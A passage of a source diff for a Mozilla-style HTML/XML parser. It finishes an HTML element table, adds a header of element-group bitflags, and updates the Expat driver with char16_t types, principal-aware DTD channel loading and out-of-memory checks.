+ /*tag*/ eHTMLTag_listing,
+ /*parent,leaf*/ kPreformatted, false
+ },
+ {
+ /*tag*/ eHTMLTag_main,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_map,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_mark,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_marquee,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_menu,
+ /*parent,leaf*/ kList, false
+ },
+ {
+ /*tag*/ eHTMLTag_menuitem,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_meta,
+ /*parent,leaf*/ kHeadContent, true
+ },
+ {
+ /*tag*/ eHTMLTag_meter,
+ /*parent,leaf*/ kFormControl, false
+ },
+ {
+ /*tag*/ eHTMLTag_multicol,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_nav,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_nobr,
+ /*parent,leaf*/ kExtensions, false
+ },
+ {
+ /*tag*/ eHTMLTag_noembed,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_noframes,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_noscript,
+ /*parent,leaf*/ kFlowEntity|kHeadMisc, false
+ },
+ {
+ /*tag*/ eHTMLTag_object,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_ol,
+ /*parent,leaf*/ kList, false
+ },
+ {
+ /*tag*/ eHTMLTag_optgroup,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_option,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_output,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_p,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_param,
+ /*parent,leaf*/ kSpecial, true
+ },
+ {
+ /*tag*/ eHTMLTag_picture,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_plaintext,
+ /*parent,leaf*/ kExtensions, false
+ },
+ {
+ /*tag*/ eHTMLTag_pre,
+ /*parent,leaf*/ kBlock|kPreformatted, false
+ },
+ {
+ /*tag*/ eHTMLTag_progress,
+ /*parent,leaf*/ kFormControl, false
+ },
+ {
+ /*tag*/ eHTMLTag_q,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_rb,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_rp,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_rt,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_rtc,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_ruby,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_s,
+ /*parent,leaf*/ kFontStyle, false
+ },
+ {
+ /*tag*/ eHTMLTag_samp,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_script,
+ /*parent,leaf*/ (kSpecial|kHeadContent), false
+ },
+ {
+ /*tag*/ eHTMLTag_section,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_select,
+ /*parent,leaf*/ kFormControl, false
+ },
+ {
+ /*tag*/ eHTMLTag_shadow,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_small,
+ /*parent,leaf*/ kFontStyle, false
+ },
+ {
+ /*tag*/ eHTMLTag_source,
+ /*parent,leaf*/ kSpecial, true
+ },
+ {
+ /*tag*/ eHTMLTag_span,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_strike,
+ /*parent,leaf*/ kFontStyle, false
+ },
+ {
+ /*tag*/ eHTMLTag_strong,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_style,
+ /*parent,leaf*/ kAllTags - kHeadContent, false
+ },
+ {
+ /*tag*/ eHTMLTag_sub,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_sup,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_table,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_tbody,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_td,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_textarea,
+ /*parent,leaf*/ kFormControl, false
+ },
+ {
+ /*tag*/ eHTMLTag_tfoot,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_th,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_thead,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_template,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_time,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_title,
+ /*parent,leaf*/ kHeadContent, false
+ },
+ {
+ /*tag*/ eHTMLTag_tr,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_track,
+ /*parent,leaf*/ kSpecial, true
+ },
+ {
+ /*tag*/ eHTMLTag_tt,
+ /*parent,leaf*/ kFontStyle, false
+ },
+ {
+ /*tag*/ eHTMLTag_u,
+ /*parent,leaf*/ kFontStyle, false
+ },
+ {
+ /*tag*/ eHTMLTag_ul,
+ /*parent,leaf*/ kList, false
+ },
+ {
+ /*tag*/ eHTMLTag_var,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_video,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_wbr,
+ /*parent,leaf*/ kExtensions, true
+ },
+ {
+ /*tag*/ eHTMLTag_xmp,
+ /*parent,leaf*/ kInlineEntity|kPreformatted, false
+ },
+ {
+ /*tag*/ eHTMLTag_text,
+ /*parent,leaf*/ kFlowEntity, true
+ },
+ {
+ /*tag*/ eHTMLTag_whitespace,
+ /*parent,leaf*/ kFlowEntity|kHeadMisc, true
+ },
+ {
+ /*tag*/ eHTMLTag_newline,
+ /*parent,leaf*/ kFlowEntity|kHeadMisc, true
+ },
+ {
+ /*tag*/ eHTMLTag_comment,
+ /*parent,leaf*/ kFlowEntity|kHeadMisc, false
+ },
+ {
+ /*tag*/ eHTMLTag_entity,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_doctypeDecl,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_markupDecl,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_instruction,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_userdefined,
+ /*parent,leaf*/ (kFlowEntity|kHeadMisc), false
+ },
+};
+
+/*********************************************************************************************/
+
+bool nsHTMLElement::IsContainer(eHTMLTags aChild)
+{
+ return !gHTMLElements[aChild].mLeaf;
+}
+
+bool nsHTMLElement::IsMemberOf(int32_t aSet) const
+{
+ return TestBits(aSet,mParentBits);
+}
+
+#ifdef DEBUG
+void CheckElementTable()
+{
+ for (eHTMLTags t = eHTMLTag_unknown; t <= eHTMLTag_userdefined; t = eHTMLTags(t + 1)) {
+ NS_ASSERTION(gHTMLElements[t].mTagID == t, "gHTMLElements entries does match tag list.");
+ }
+}
+#endif
diff --git a/parser/htmlparser/nsElementTable.h b/parser/htmlparser/nsElementTable.h
new file mode 100644
index 000000000..a4b78c09e
--- /dev/null
+++ b/parser/htmlparser/nsElementTable.h
@@ -0,0 +1,92 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * MODULE NOTES:
+ * @update gess 4/1/98
+ *
+ */
+
+
+
+#ifndef _NSELEMENTABLE
+#define _NSELEMENTABLE
+
+#include "nsHTMLTags.h"
+#include "nsIDTD.h"
+
+//*********************************************************************************************
+// The following ints define the standard groups of HTML elements...
+//*********************************************************************************************
+
+static const int kNone= 0x0;
+
+static const int kHTMLContent = 0x0001; // HEAD, (FRAMESET | BODY)
+static const int kHeadContent = 0x0002; // Elements that *must* be in the head.
+static const int kHeadMisc = 0x0004; // Elements that *can* be in the head.
+
+static const int kSpecial = 0x0008; // A, IMG, APPLET, OBJECT, FONT, BASEFONT, BR, SCRIPT,
+ // MAP, Q, SUB, SUP, SPAN, BDO, IFRAME
+
+static const int kFormControl = 0x0010; // INPUT SELECT TEXTAREA LABEL BUTTON
+static const int kPreformatted = 0x0020; // PRE
+static const int kPreExclusion = 0x0040; // IMG, OBJECT, APPLET, BIG, SMALL, SUB, SUP, FONT, BASEFONT
+static const int kFontStyle = 0x0080; // TT, I, B, U, S, STRIKE, BIG, SMALL
+static const int kPhrase = 0x0100; // EM, STRONG, DFN, CODE, SAMP, KBD, VAR, CITE, ABBR, ACRONYM
+static const int kHeading = 0x0200; // H1..H6
+static const int kBlockMisc = 0x0400; // OBJECT, SCRIPT
+static const int kBlock = 0x0800; // ADDRESS, BLOCKQUOTE, CENTER, DIV, DL, FIELDSET, FORM,
+ // ISINDEX, HR, NOSCRIPT, NOFRAMES, P, TABLE
+static const int kList = 0x1000; // UL, OL, DIR, MENU
+static const int kPCDATA = 0x2000; // plain text and entities...
+static const int kSelf = 0x4000; // whatever THIS tag is...
+static const int kExtensions = 0x8000; // BGSOUND, WBR, NOBR
+static const int kTable = 0x10000;// TR,TD,THEAD,TBODY,TFOOT,CAPTION,TH
+static const int kDLChild = 0x20000;// DL, DT
+static const int kCDATA = 0x40000;// just plain text...
+
+static const int kInlineEntity = (kPCDATA|kFontStyle|kPhrase|kSpecial|kFormControl|kExtensions); // #PCDATA, %fontstyle, %phrase, %special, %formctrl
+static const int kBlockEntity = (kHeading|kList|kPreformatted|kBlock); // %heading, %list, %preformatted, %block
+static const int kFlowEntity = (kBlockEntity|kInlineEntity); // %blockentity, %inlineentity
+static const int kAllTags = 0xffffff;
+
+
+//*********************************************************************************************
+// The following ints define the standard groups of HTML elements...
+//*********************************************************************************************
+
+#ifdef DEBUG
+extern void CheckElementTable();
+#endif
+
+
+/**
+ * We're asking the question: is aTest a member of bitset.
+ *
+ * @param
+ * @return TRUE or FALSE
+ */
+inline bool TestBits(int aBitset,int aTest) {
+ if(aTest) {
+ int32_t result=(aBitset & aTest);
+ return bool(result==aTest);
+ }
+ return false;
+}
+
+struct nsHTMLElement {
+ bool IsMemberOf(int32_t aType) const;
+
+ eHTMLTags mTagID;
+ int mParentBits; //defines groups that can contain this element
+ bool mLeaf;
+
+ static bool IsContainer(eHTMLTags aTag);
+};
+
+extern const nsHTMLElement gHTMLElements[];
+
+#endif
diff --git a/parser/htmlparser/src/nsExpatDriver.cpp b/parser/htmlparser/nsExpatDriver.cpp
index ae8d895ba..6231023b0 100644
--- a/parser/htmlparser/src/nsExpatDriver.cpp
+++ b/parser/htmlparser/nsExpatDriver.cpp
@@ -15,6 +15,7 @@
#include "nsIUnicharInputStream.h"
#include "nsISimpleUnicharStreamFactory.h"
#include "nsNetUtil.h"
+#include "nsNullPrincipal.h"
#include "prprf.h"
#include "prmem.h"
#include "nsTextFormatter.h"
@@ -31,7 +32,7 @@
#define kExpatSeparatorChar 0xFFFF
-static const PRUnichar kUTF16[] = { 'U', 'T', 'F', '-', '1', '6', '\0' };
+static const char16_t kUTF16[] = { 'U', 'T', 'F', '-', '1', '6', '\0' };
#ifdef PR_LOGGING
static PRLogModuleInfo *
@@ -265,15 +266,15 @@ static const nsCatalogData kCatalogTable[] = {
{ "-//W3C//DTD XHTML 1.0 Strict//EN", "htmlmathml-f.ent", nullptr },
{ "-//W3C//DTD XHTML 1.0 Frameset//EN", "htmlmathml-f.ent", nullptr },
{ "-//W3C//DTD XHTML Basic 1.0//EN", "htmlmathml-f.ent", nullptr },
- { "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN", "htmlmathml-f.ent", "resource://gre-resources/mathml.css" },
- { "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN", "htmlmathml-f.ent", "resource://gre-resources/mathml.css" },
- { "-//W3C//DTD MathML 2.0//EN", "htmlmathml-f.ent", "resource://gre-resources/mathml.css" },
+ { "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN", "htmlmathml-f.ent", nullptr },
+ { "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN", "htmlmathml-f.ent", nullptr },
+ { "-//W3C//DTD MathML 2.0//EN", "htmlmathml-f.ent", nullptr },
{ "-//WAPFORUM//DTD XHTML Mobile 1.0//EN", "htmlmathml-f.ent", nullptr },
{ nullptr, nullptr, nullptr }
};
static const nsCatalogData*
-LookupCatalogData(const PRUnichar* aPublicID)
+LookupCatalogData(const char16_t* aPublicID)
{
nsDependentString publicID(aPublicID);
@@ -339,7 +340,7 @@ NS_INTERFACE_MAP_END
NS_IMPL_CYCLE_COLLECTING_ADDREF(nsExpatDriver)
NS_IMPL_CYCLE_COLLECTING_RELEASE(nsExpatDriver)
-NS_IMPL_CYCLE_COLLECTION_2(nsExpatDriver, mSink, mExtendedSink)
+NS_IMPL_CYCLE_COLLECTION(nsExpatDriver, mSink, mExtendedSink)
// We store the tagdepth in a PRUint8, so make sure the limit fits in a PRUint8.
PR_STATIC_ASSERT(MAX_REFLOW_DEPTH <= PR_UINT8_MAX);
@@ -367,8 +368,8 @@ nsExpatDriver::~nsExpatDriver()
}
void
-nsExpatDriver::HandleStartElement(const PRUnichar *aValue,
- const PRUnichar **aAtts)
+nsExpatDriver::HandleStartElement(const char16_t *aValue,
+ const char16_t **aAtts)
{
NS_ASSERTION(mSink, "content sink not found!");
@@ -391,14 +392,13 @@ nsExpatDriver::HandleStartElement(const PRUnichar *aValue,
nsresult rv = mSink->
HandleStartElement(aValue, aAtts, attrArrayLength,
- XML_GetIdAttributeIndex(mExpatParser),
XML_GetCurrentLineNumber(mExpatParser));
MaybeStopParser(rv);
}
}
nsresult
-nsExpatDriver::HandleEndElement(const PRUnichar *aValue)
+nsExpatDriver::HandleEndElement(const char16_t *aValue)
{
NS_ASSERTION(mSink, "content sink not found!");
NS_ASSERTION(mInternalState != NS_ERROR_HTMLPARSER_BLOCK,
@@ -414,7 +414,7 @@ nsExpatDriver::HandleEndElement(const PRUnichar *aValue)
}
nsresult
-nsExpatDriver::HandleCharacterData(const PRUnichar *aValue,
+nsExpatDriver::HandleCharacterData(const char16_t *aValue,
const uint32_t aLength)
{
NS_ASSERTION(mSink, "content sink not found!");
@@ -431,7 +431,7 @@ nsExpatDriver::HandleCharacterData(const PRUnichar *aValue,
}
nsresult
-nsExpatDriver::HandleComment(const PRUnichar *aValue)
+nsExpatDriver::HandleComment(const char16_t *aValue)
{
NS_ASSERTION(mSink, "content sink not found!");
@@ -454,8 +454,8 @@ nsExpatDriver::HandleComment(const PRUnichar *aValue)
}
nsresult
-nsExpatDriver::HandleProcessingInstruction(const PRUnichar *aTarget,
- const PRUnichar *aData)
+nsExpatDriver::HandleProcessingInstruction(const char16_t *aTarget,
+ const char16_t *aData)
{
NS_ASSERTION(mSink, "content sink not found!");
@@ -481,8 +481,8 @@ nsExpatDriver::HandleProcessingInstruction(const PRUnichar *aTarget,
}
nsresult
-nsExpatDriver::HandleXMLDeclaration(const PRUnichar *aVersion,
- const PRUnichar *aEncoding,
+nsExpatDriver::HandleXMLDeclaration(const char16_t *aVersion,
+ const char16_t *aEncoding,
int32_t aStandalone)
{
if (mSink) {
@@ -494,7 +494,7 @@ nsExpatDriver::HandleXMLDeclaration(const PRUnichar *aVersion,
}
nsresult
-nsExpatDriver::HandleDefault(const PRUnichar *aValue,
+nsExpatDriver::HandleDefault(const char16_t *aValue,
const uint32_t aLength)
{
NS_ASSERTION(mSink, "content sink not found!");
@@ -546,8 +546,8 @@ nsExpatDriver::HandleEndCdataSection()
}
nsresult
-nsExpatDriver::HandleStartNamespaceDecl(const PRUnichar* aPrefix,
- const PRUnichar* aUri)
+nsExpatDriver::HandleStartNamespaceDecl(const char16_t* aPrefix,
+ const char16_t* aUri)
{
if (mExtendedSink) {
nsresult rv = mExtendedSink->HandleStartNamespaceDecl(aPrefix, aUri);
@@ -557,7 +557,7 @@ nsExpatDriver::HandleStartNamespaceDecl(const PRUnichar* aPrefix,
}
nsresult
-nsExpatDriver::HandleEndNamespaceDecl(const PRUnichar* aPrefix)
+nsExpatDriver::HandleEndNamespaceDecl(const char16_t* aPrefix)
{
if (mExtendedSink && mInternalState != NS_ERROR_HTMLPARSER_STOPPARSING) {
nsresult rv = mExtendedSink->HandleEndNamespaceDecl(aPrefix);
@@ -567,10 +567,10 @@ nsExpatDriver::HandleEndNamespaceDecl(const PRUnichar* aPrefix)
}
nsresult
-nsExpatDriver::HandleNotationDecl(const PRUnichar* aNotationName,
- const PRUnichar* aBase,
- const PRUnichar* aSysid,
- const PRUnichar* aPubid)
+nsExpatDriver::HandleNotationDecl(const char16_t* aNotationName,
+ const char16_t* aBase,
+ const char16_t* aSysid,
+ const char16_t* aPubid)
{
if (mExtendedSink) {
nsresult rv = mExtendedSink->HandleNotationDecl(aNotationName, aSysid,
@@ -581,11 +581,11 @@ nsExpatDriver::HandleNotationDecl(const PRUnichar* aNotationName,
}
nsresult
-nsExpatDriver::HandleUnparsedEntityDecl(const PRUnichar* aEntityName,
- const PRUnichar* aBase,
- const PRUnichar* aSysid,
- const PRUnichar* aPubid,
- const PRUnichar* aNotationName)
+nsExpatDriver::HandleUnparsedEntityDecl(const char16_t* aEntityName,
+ const char16_t* aBase,
+ const char16_t* aSysid,
+ const char16_t* aPubid,
+ const char16_t* aNotationName)
{
if (mExtendedSink) {
nsresult rv = mExtendedSink->HandleUnparsedEntityDecl(aEntityName,
@@ -598,9 +598,9 @@ nsExpatDriver::HandleUnparsedEntityDecl(const PRUnichar* aEntityName,
}
nsresult
-nsExpatDriver::HandleStartDoctypeDecl(const PRUnichar* aDoctypeName,
- const PRUnichar* aSysid,
- const PRUnichar* aPubid,
+nsExpatDriver::HandleStartDoctypeDecl(const char16_t* aDoctypeName,
+ const char16_t* aSysid,
+ const char16_t* aPubid,
bool aHasInternalSubset)
{
mDoctypeName = aDoctypeName;
@@ -638,9 +638,16 @@ nsExpatDriver::HandleEndDoctypeDecl()
// document (currently, from bug 124570, we only expect to pass additional
// agent sheets needed to layout the XML vocabulary of the document)
nsCOMPtr<nsIURI> data;
+#if 0
if (mCatalogData && mCatalogData->mAgentSheet) {
NS_NewURI(getter_AddRefs(data), mCatalogData->mAgentSheet);
}
+#endif
+
+ // The unused support for "catalog style sheets" was removed. It doesn't
+ // look like we'll ever fix bug 98413 either.
+ MOZ_ASSERT(!mCatalogData || !mCatalogData->mAgentSheet,
+ "Need to add back support for catalog style sheets");
// Note: mInternalSubset already doesn't include the [] around it.
nsresult rv = mSink->HandleDoctypeDecl(mInternalSubset, mDoctypeName,
@@ -656,14 +663,14 @@ nsExpatDriver::HandleEndDoctypeDecl()
static NS_METHOD
ExternalDTDStreamReaderFunc(nsIUnicharInputStream* aIn,
void* aClosure,
- const PRUnichar* aFromSegment,
+ const char16_t* aFromSegment,
uint32_t aToOffset,
uint32_t aCount,
uint32_t *aWriteCount)
{
// Pass the buffer to expat for parsing.
if (XML_Parse((XML_Parser)aClosure, (const char *)aFromSegment,
- aCount * sizeof(PRUnichar), 0) == XML_STATUS_OK) {
+ aCount * sizeof(char16_t), 0) == XML_STATUS_OK) {
*aWriteCount = aCount;
return NS_OK;
@@ -675,15 +682,15 @@ ExternalDTDStreamReaderFunc(nsIUnicharInputStream* aIn,
}
int
-nsExpatDriver::HandleExternalEntityRef(const PRUnichar *openEntityNames,
- const PRUnichar *base,
- const PRUnichar *systemId,
- const PRUnichar *publicId)
+nsExpatDriver::HandleExternalEntityRef(const char16_t *openEntityNames,
+ const char16_t *base,
+ const char16_t *systemId,
+ const char16_t *publicId)
{
if (mInInternalSubset && !mInExternalDTD && openEntityNames) {
- mInternalSubset.Append(PRUnichar('%'));
+ mInternalSubset.Append(char16_t('%'));
mInternalSubset.Append(nsDependentString(openEntityNames));
- mInternalSubset.Append(PRUnichar(';'));
+ mInternalSubset.Append(char16_t(';'));
}
// Load the external entity into a buffer.
@@ -739,9 +746,9 @@ nsExpatDriver::HandleExternalEntityRef(const PRUnichar *openEntityNames,
}
nsresult
-nsExpatDriver::OpenInputStreamFromExternalDTD(const PRUnichar* aFPIStr,
- const PRUnichar* aURLStr,
- const PRUnichar* aBaseURL,
+nsExpatDriver::OpenInputStreamFromExternalDTD(const char16_t* aFPIStr,
+ const char16_t* aURLStr,
+ const char16_t* aBaseURL,
nsIInputStream** aStream,
nsAString& aAbsURL)
{
@@ -802,7 +809,23 @@ nsExpatDriver::OpenInputStreamFromExternalDTD(const PRUnichar* aFPIStr,
CopyUTF8toUTF16(absURL, aAbsURL);
nsCOMPtr<nsIChannel> channel;
- rv = NS_NewChannel(getter_AddRefs(channel), uri);
+ if (doc) {
+ rv = NS_NewChannel(getter_AddRefs(channel),
+ uri,
+ doc,
+ nsILoadInfo::SEC_NORMAL,
+ nsIContentPolicy::TYPE_DTD);
+ }
+ else {
+ nsCOMPtr<nsIPrincipal> nullPrincipal =
+ do_CreateInstance("@mozilla.org/nullprincipal;1", &rv);
+ NS_ENSURE_SUCCESS(rv, rv);
+ rv = NS_NewChannel(getter_AddRefs(channel),
+ uri,
+ nullPrincipal,
+ nsILoadInfo::SEC_NORMAL,
+ nsIContentPolicy::TYPE_DTD);
+ }
NS_ENSURE_SUCCESS(rv, rv);
channel->SetContentType(NS_LITERAL_CSTRING("application/xml"));
@@ -810,8 +833,8 @@ nsExpatDriver::OpenInputStreamFromExternalDTD(const PRUnichar* aFPIStr,
}
static nsresult
-CreateErrorText(const PRUnichar* aDescription,
- const PRUnichar* aSourceURL,
+CreateErrorText(const char16_t* aDescription,
+ const char16_t* aSourceURL,
const uint32_t aLineNumber,
const uint32_t aColNumber,
nsString& aErrorString)
@@ -825,7 +848,7 @@ CreateErrorText(const PRUnichar* aDescription,
NS_ENSURE_SUCCESS(rv, rv);
// XML Parsing Error: %1$S\nLocation: %2$S\nLine Number %3$u, Column %4$u:
- PRUnichar *message = nsTextFormatter::smprintf(msg.get(), aDescription,
+ char16_t *message = nsTextFormatter::smprintf(msg.get(), aDescription,
aSourceURL, aLineNumber,
aColNumber);
if (!message) {
@@ -840,10 +863,10 @@ CreateErrorText(const PRUnichar* aDescription,
static nsresult
AppendErrorPointer(const int32_t aColNumber,
- const PRUnichar *aSourceLine,
+ const char16_t *aSourceLine,
nsString& aSourceString)
{
- aSourceString.Append(PRUnichar('\n'));
+ aSourceString.Append(char16_t('\n'));
// Last character will be '^'.
int32_t last = aColNumber - 1;
@@ -857,11 +880,11 @@ AppendErrorPointer(const int32_t aColNumber,
minuses += add;
}
else {
- aSourceString.Append(PRUnichar('-'));
+ aSourceString.Append(char16_t('-'));
++minuses;
}
}
- aSourceString.Append(PRUnichar('^'));
+ aSourceString.Append(char16_t('^'));
return NS_OK;
}
@@ -888,10 +911,10 @@ nsExpatDriver::HandleError()
* and we use 0xFFFF for the <separator>.
*
*/
- const PRUnichar *mismatch = MOZ_XML_GetMismatchedTag(mExpatParser);
- const PRUnichar *uriEnd = nullptr;
- const PRUnichar *nameEnd = nullptr;
- const PRUnichar *pos;
+ const char16_t *mismatch = MOZ_XML_GetMismatchedTag(mExpatParser);
+ const char16_t *uriEnd = nullptr;
+ const char16_t *nameEnd = nullptr;
+ const char16_t *pos;
for (pos = mismatch; *pos; ++pos) {
if (*pos == kExpatSeparatorChar) {
if (uriEnd) {
@@ -907,9 +930,9 @@ nsExpatDriver::HandleError()
if (uriEnd && nameEnd) {
// We have a prefix.
tagName.Append(nameEnd + 1, pos - nameEnd - 1);
- tagName.Append(PRUnichar(':'));
+ tagName.Append(char16_t(':'));
}
- const PRUnichar *nameStart = uriEnd ? uriEnd + 1 : mismatch;
+ const char16_t *nameStart = uriEnd ? uriEnd + 1 : mismatch;
tagName.Append(nameStart, (nameEnd ? nameEnd : pos) - nameStart);
nsAutoString msg;
@@ -917,7 +940,7 @@ nsExpatDriver::HandleError()
"Expected", msg);
// . Expected: </%S>.
- PRUnichar *message = nsTextFormatter::smprintf(msg.get(), tagName.get());
+ char16_t *message = nsTextFormatter::smprintf(msg.get(), tagName.get());
if (!message) {
return NS_ERROR_OUT_OF_MEMORY;
}
@@ -977,7 +1000,7 @@ nsExpatDriver::HandleError()
}
void
-nsExpatDriver::ParseBuffer(const PRUnichar *aBuffer,
+nsExpatDriver::ParseBuffer(const char16_t *aBuffer,
uint32_t aLength,
bool aIsFinal,
uint32_t *aConsumed)
@@ -987,8 +1010,8 @@ nsExpatDriver::ParseBuffer(const PRUnichar *aBuffer,
"Useless call, we won't call Expat");
NS_PRECONDITION(!BlockedOrInterrupted() || !aBuffer,
"Non-null buffer when resuming");
- NS_PRECONDITION(XML_GetCurrentByteIndex(mExpatParser) % sizeof(PRUnichar) == 0,
- "Consumed part of a PRUnichar?");
+ NS_PRECONDITION(XML_GetCurrentByteIndex(mExpatParser) % sizeof(char16_t) == 0,
+ "Consumed part of a char16_t?");
if (mExpatParser && (mInternalState == NS_OK || BlockedOrInterrupted())) {
int32_t parserBytesBefore = XML_GetCurrentByteIndex(mExpatParser);
@@ -1002,7 +1025,7 @@ nsExpatDriver::ParseBuffer(const PRUnichar *aBuffer,
else {
status = XML_Parse(mExpatParser,
reinterpret_cast<const char*>(aBuffer),
- aLength * sizeof(PRUnichar), aIsFinal);
+ aLength * sizeof(char16_t), aIsFinal);
}
int32_t parserBytesConsumed = XML_GetCurrentByteIndex(mExpatParser);
@@ -1010,11 +1033,11 @@ nsExpatDriver::ParseBuffer(const PRUnichar *aBuffer,
NS_ASSERTION(parserBytesConsumed >= 0, "Unexpected value");
NS_ASSERTION(parserBytesConsumed >= parserBytesBefore,
"How'd this happen?");
- NS_ASSERTION(parserBytesConsumed % sizeof(PRUnichar) == 0,
- "Consumed part of a PRUnichar?");
+ NS_ASSERTION(parserBytesConsumed % sizeof(char16_t) == 0,
+ "Consumed part of a char16_t?");
// Consumed something.
- *aConsumed = (parserBytesConsumed - parserBytesBefore) / sizeof(PRUnichar);
+ *aConsumed = (parserBytesConsumed - parserBytesBefore) / sizeof(char16_t);
NS_ASSERTION(*aConsumed <= aLength + mExpatBuffered,
"Too many bytes consumed?");
@@ -1059,7 +1082,7 @@ nsExpatDriver::ConsumeToken(nsScanner& aScanner, bool& aFlushTokens)
bool noMoreBuffers = start == end && mIsFinalChunk;
bool blocked = BlockedOrInterrupted();
- const PRUnichar *buffer;
+ const char16_t *buffer;
uint32_t length;
if (blocked || noMoreBuffers) {
// If we're blocked we just resume Expat so we don't need a buffer, if
@@ -1118,12 +1141,18 @@ nsExpatDriver::ConsumeToken(nsScanner& aScanner, bool& aFlushTokens)
// last line until the point where we stopped parsing.
nsScannerIterator startLastLine = currentExpatPosition;
startLastLine.advance(-((ptrdiff_t)lastLineLength));
- CopyUnicodeTo(startLastLine, currentExpatPosition, mLastLine);
+ if (!CopyUnicodeTo(startLastLine, currentExpatPosition, mLastLine)) {
+ return (mInternalState = NS_ERROR_OUT_OF_MEMORY);
+ }
}
else {
// There was no line break in the consumed data, append the consumed
// data.
- AppendUnicodeTo(oldExpatPosition, currentExpatPosition, mLastLine);
+ if (!AppendUnicodeTo(oldExpatPosition,
+ currentExpatPosition,
+ mLastLine)) {
+ return (mInternalState = NS_ERROR_OUT_OF_MEMORY);
+ }
}
}
@@ -1154,7 +1183,7 @@ nsExpatDriver::ConsumeToken(nsScanner& aScanner, bool& aFlushTokens)
while (lastLine != end) {
length = uint32_t(lastLine.size_forward());
uint32_t endOffset = 0;
- const PRUnichar *buffer = lastLine.get();
+ const char16_t *buffer = lastLine.get();
while (endOffset < length && buffer[endOffset] != '\n' &&
buffer[endOffset] != '\r') {
++endOffset;
@@ -1220,7 +1249,7 @@ nsExpatDriver::WillBuildModel(const CParserContext& aParserContext,
PR_Free
};
- static const PRUnichar kExpatSeparator[] = { kExpatSeparatorChar, '\0' };
+ static const char16_t kExpatSeparator[] = { kExpatSeparatorChar, '\0' };
mExpatParser = XML_ParserCreate_MM(kUTF16, &memsuite, kExpatSeparator);
NS_ENSURE_TRUE(mExpatParser, NS_ERROR_FAILURE);
@@ -1298,9 +1327,7 @@ nsExpatDriver::WillBuildModel(const CParserContext& aParserContext,
}
NS_IMETHODIMP
-nsExpatDriver::BuildModel(nsITokenizer* aTokenizer,
- bool,// aCountLines,
- const nsCString*)// aCharsetPtr)
+nsExpatDriver::BuildModel(nsITokenizer* aTokenizer, nsIContentSink* aSink)
{
return mInternalState;
}
@@ -1315,19 +1342,12 @@ nsExpatDriver::DidBuildModel(nsresult anErrorCode)
}
NS_IMETHODIMP
